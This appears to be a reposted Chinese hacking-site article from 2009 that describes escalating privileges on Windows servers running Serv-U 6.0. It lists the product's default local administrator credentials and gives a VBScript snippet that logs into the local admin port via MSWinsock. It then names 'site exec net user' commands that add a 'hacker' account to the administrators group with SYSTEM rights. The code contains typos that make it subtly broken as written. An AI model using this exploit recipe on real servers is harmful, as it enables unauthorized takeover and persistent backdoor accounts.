Serv-u6.0提权新玩法

2009-2-12 03:42 527 0

摘要: 来自坏狼安全网郑重申明，此文章乃zero的文章，并非本人所写适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，...

关键词： sock senddata 权限密码 Sendata localadministrat hacker MSWinsock chr 管理员

来自坏狼安全网郑重申明，此文章乃zero的文章，并非本人所写适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，或者破解出了Serv-U 的管理员的密码。Serv-U默认用户名：localadministrator 密码：#@$ak#.k;0@p 下面用 MSWinsock.Winsock建立一个连接，并且以System权限添加超级用户，代码如下：以下是引用片段：Dim revdataDim sendataSet sock=createobject(“MSWinsock.Winsock”)Sock.protocol=0Sock.connect “127.0.0.1”,43958Sendata=”LocalAdministrator”& chr(10) &chr(13)Sock.senddata snedataSendata=”#@$ak#.k;0@p” &chr(10) &chr(13)Sock.senddata.sendata使用这个代码就可以连上FTP了，接下来用Sock.senddata sendata 发送添加有执行权限用户的命令，想必大家该知道怎么做了吧，对了，就是用”site exec net user hacker hacker /add” “site exec net localgroup administrators hacker /add”

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除